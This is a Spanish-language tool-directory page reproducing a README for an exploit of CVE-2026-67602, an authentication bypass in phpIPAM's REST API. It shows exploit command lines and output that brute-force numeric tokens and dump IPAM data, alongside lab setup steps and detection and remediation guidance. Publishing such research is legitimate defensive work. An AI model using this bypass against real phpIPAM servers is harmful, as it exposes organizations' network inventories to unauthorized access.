Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
the-token-was-a-row-number-cve-2026-67602-phpipam-rest-api-authentication-bypass — Exploit y PoC para CVE-2026-67602, una omisión de autenticación en la API REST de phpIPAM mediante colisión de claves en la caché de objetos, incluyendo un PoC a nivel de lógica y un script de explotación remota. | Kitploit
Herramientas/GitHubGitHub/hunt-benito/the-token-was-a-row-number-cve-2026-67602-phpipam-rest-api-authentication-bypass
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAutenticaciónSeguridad de APIs
GitHubhunt-benito/the-token-was-a-row-number-cve-2026-67602-phpipam-rest-api-authentication-bypass

the-token-was-a-row-number-cve-2026-67602-phpipam-rest-api-authentication-bypass

Exploit y PoC para CVE-2026-67602, una omisión de autenticación en la API REST de phpIPAM mediante colisión de claves en la caché de objetos, incluyendo un PoC a nivel de lógica y un script de explotación remota.

Ver Repositorio
26hace 1 mesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-67602 — phpIPAM < 1.8.2 Bypass de Autenticación en la API REST

Bypass de autenticación no autenticado en la API REST de phpIPAM, causado por una colisión de claves en la caché de objetos: la fila de la base de datos almacenada en caché al resolver el app_id de una aplicación de API satisface la verificación posterior de app_code (token) siempre que el token proporcionado sea igual al id numérico de la fila. El secreto real de la aplicación nunca se compara.

  • CVE: CVE-2026-67602
  • CVSS 4.0: 9.3 Crítico (AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N)
  • CWE: CWE-706 (Uso de una Referencia o Nombre Resuelto Incorrectamente)
  • Afectado: phpIPAM anterior a 1.8.2, aplicaciones de API REST con app_security = ssl_code
  • Corregido: phpIPAM 1.8.2 (commit d29728f)
  • Aviso: https://www.vulncheck.com/advisories/phpipam-authentication-bypass-via-rest-api-object-cache

Contenido

ArchivoPropósito
poc_cache_collision.phpPoC a nivel de lógica. Ejecuta las implementaciones textuales vulnerables (v1.8.1) y corregidas (1.8.2) de fetch_object/cache_check/cache_write contra una base de datos simulada y reproduce la secuencia exacta de fetch de una solicitud HTTP. No se necesita instalación de phpIPAM.
exploit.pyExploit remoto contra una instancia activa de phpIPAM < 1.8.2: enumera app_ids válidos (400 vs 401), fuerza bruta el token numérico (normalmente id 1-3) y opcionalmente vuelca secciones/subredes/VLANs/dispositivos.
docker-compose.ymlLaboratorio vulnerable: phpIPAM v1.8.1 + MariaDB, HTTP plano con IPAM_TRUST_X_FORWARDED=true para que las aplicaciones ssl_code puedan probarse mediante la cabecera X-Forwarded-Proto.

1. PoC a nivel de lógica (sin servidor necesario)

$ php poc_cache_collision.php vulnerable
[1] fetch_object('api','app_id','client')  -> fila id=2, app_security=ssl_code
[2] fetch_object('api','app_code','2') (cabecera phpipam-token) -> OBJETO (¡acierto de caché!)
[3] $app_id == $app_temp->app_id  ->  AUTENTICADO

$ php poc_cache_collision.php fixed
[2] fetch_object('api','app_code','2') (cabecera phpipam-token) -> false
[3] Respuesta: 401 No autorizado — token rechazado

2. Reproducción en vivo en Docker

$ docker compose up -d
  1. Navegue a http://localhost:8080/, continúe con el instalador (http://localhost:8080/install/), elija Instalación automática de la base de datos, usuario MySQL root / contraseña phpipamAdminRoot.
  2. Inicie sesión (admin / admin), establezca una nueva contraseña de administrador cuando se le solicite.
  3. Cree la aplicación de API: Administración → Gestión de API → nueva:
    • Nombre de la aplicación (app_id): client
    • Seguridad: Código de API (ssl_code)
    • Permisos: Lectura / Escritura / Eliminación
  4. phpIPAM genera un código de aplicación aleatorio de 32 caracteres. No necesita copiarlo — ese es el punto del fallo.

Ejecute el exploit (la bandera --xfp satisface la verificación HTTPS mediante X-Forwarded-Proto, que el laboratorio confía):

$ python3 exploit.py http://localhost:8080 --app-id client --xfp --dump
[*] Objetivo: http://localhost:8080
[*] Fuerza bruta de tokens numéricos (ids de fila) 1..64 para app_id='client'...
[+] BYPASS DE AUTENTICACIÓN — phpipam-token: 1 es aceptado
[+] El app_code real de 32 caracteres de la aplicación nunca fue necesario.
[+] GET /api/client/sections/ -> HTTP 200, 1 sección(es) legible(s)
[*] Volcando datos de IPAM...

3. Detección y remediación

  • Actualice a phpIPAM 1.8.2 o posterior. La corrección clave de la caché de objetos por columna de búsqueda además del valor (commit d29728f).
  • Hasta que actualice, deshabilite o reconfigure las aplicaciones de API ssl_code (otros modos de seguridad no se ven afectados por esta colisión de caché).
  • Revise los registros de su servidor web / phpIPAM en busca de solicitudes a /api/<app_id>/... que lleven una cabecera phpipam-token puramente numérica — los tokens legítimos son cadenas aleatorias de 32 caracteres, por lo que los tokens numéricos son un IOC de alta fidelidad.
  • Rote los códigos de aplicación de API y los tokens de usuario si se sospecha exposición.

Uso responsable

Este repositorio es solo para investigación defensiva y pruebas de penetración autorizadas. Ejecútelo únicamente contra sistemas que posea o para los que tenga permiso por escrito para probar.

Descargar herramienta